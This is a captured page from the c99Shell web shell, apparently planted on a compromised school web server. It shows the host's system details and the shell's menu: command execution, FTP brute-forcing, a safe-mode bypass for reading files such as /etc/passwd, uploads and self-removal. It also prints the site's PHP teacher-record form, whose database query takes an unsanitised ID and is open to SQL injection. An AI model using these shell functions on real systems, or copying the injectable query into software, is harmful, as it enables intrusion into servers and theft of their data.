!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmTeacherHis.php (6.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
include(
"../configuration.php");
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");

 
ConnectDB();
       
       
$sql ="SELECT * FROM degree_his_tb    WHERE DegreeId  ='$DegreeId'   " ;
       
$result mysql_query($sql) or die(" Error").mysql_error();
       
$rs mysql_fetch_array($result);

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<script language="javascript" src="../js/utilities.js"></script>
<link href="../css/default.css" rel="stylesheet" type="text/css" />

<table width="522" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="522" height="163">
          <fieldset>
            <form action="EditTeacherHis.php" method="post" enctype="multipart/form-data" name="pc" id="pc">
              <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC" style="border:0px solid gray; font-size: 18px;"size="12">
                <tr bgcolor="#BFD0E6">
                  <td height="24" colspan="3" bgcolor="#FFFFFF"><div align="center" class="TEXT-DARK-BLUE10"><strong>แก้ไขข้อมูล</strong></div></td>
                </tr>
                <tr bordercolor="#99CCFF" bgcolor="#86ade2">
                  <td align="right" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">การศึกษา</span></td>
                  <td bgcolor="#FFFFFF">&nbsp;</td>
                  <td bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                    <select name="Degree_code" id="Degree_code">
                      <option value=""></option>
                      <?php
                  $sql1 
" SELECT *  FROM degree_tb    ";
                  
$result1 mysql_query($sql1);
                  while( 
$rs4 mysql_fetch_array($result1) ) {
                
?>
                      <option value="<?=$rs4['Degree_code'];?><?php if( $rs4['Degree_code']==$rs['Degree_code'] ) echo 'selected';?>>
                        <?=$rs4['Degree_name'];?>
                                  </option>
                      <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                  </select>
                  </font></strong></font></td>
                </tr>
                <tr bgcolor="#eeeeee">
                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">วุฒิการศึกษา </td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input name="Degree_His" type="text" id="Degree_His" value="<? echo $rs['Degree_His'] ; ?>" size="45" /></td>
                </tr>
                <tr bgcolor="#eeeeee">
                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">วิชาเอก</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input name="Degree_Major" type="text" id="Degree_Major" value="<? echo $rs['Degree_Major'] ; ?>" size="50" /></td>
                </tr>
                <tr bgcolor="#eeeeee">
                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">สถาบัน </td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input name="Degree_Institute" type="text" id="Degree_Institute" value="<? echo $rs['Degree_Institute'] ; ?>" size="50" /></td>
                </tr>
                <tr bgcolor="#eeeeee">
                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">ปีที่สำเร็จการศึกษา</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  >
                    วันที่
                    <select name="mDate" id="mDate" class="select" >
                      <?php
           $Date  
$rs[Degree_Year];
           
$yearthai explode("-",$Date );
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                    </select>
เดือน
<select name="mMonth" id="mMonth" class="select" >
  <?php
          $Date 
$rs[Degree_Year];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ.
<input name="mYear" type="text" id="mYear" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /></td>
                </tr>
                <tr bgcolor="#eeeeee">
                  <td width="22%" height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td width="3%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td width="75%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input type="radio" name="Type_degree" id="Type_degree" <?php if ( !strcmp("$rs[Type_degree]","ด้านสาธารณสุข") ) { echo "checked"; } ?> value="ด้านสาธารณสุข" />
ด้านสาธารณสุข
  <input type="radio" name="Type_degree" id="Type_degree" <?php if ( !strcmp("$rs[Type_degree]","ด้านอื่นฯ") ) { echo "checked"; } ?> value="ด้านอื่นฯ" />
ด้านอื่นฯ</td>
                </tr>
                <tr bgcolor="#BFD0E6">
                  <td height="28" colspan="3" align="center" bgcolor="#FFFFFF">&nbsp;</td>
                </tr>
                <tr bgcolor="#BFD0E6">
                  <td height="28" colspan="3" align="center" bgcolor="#FFFFFF"><input type="submit" name="Submit" value=" บันทึกข้อมูล" class="button" />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type="reset" name="Submit" value=" เคลียร์ข้อมูล" class="button" id="Submit" />
<input type="button" name="Submit" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
<font color="#006633" size="2" face="Tahoma">
<input name="DegreeId" type="hidden" id="Recode" value="<? echo $rs[DegreeId]?>" />

<input name="Teacher_code" type="hidden" id="Recode2" value="<? echo $rs[Teacher_code]?>" />
</font></td>
                </tr>
              </table>
            </form>
              
            </label>
        </fieldset>
        
    </td>
  </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--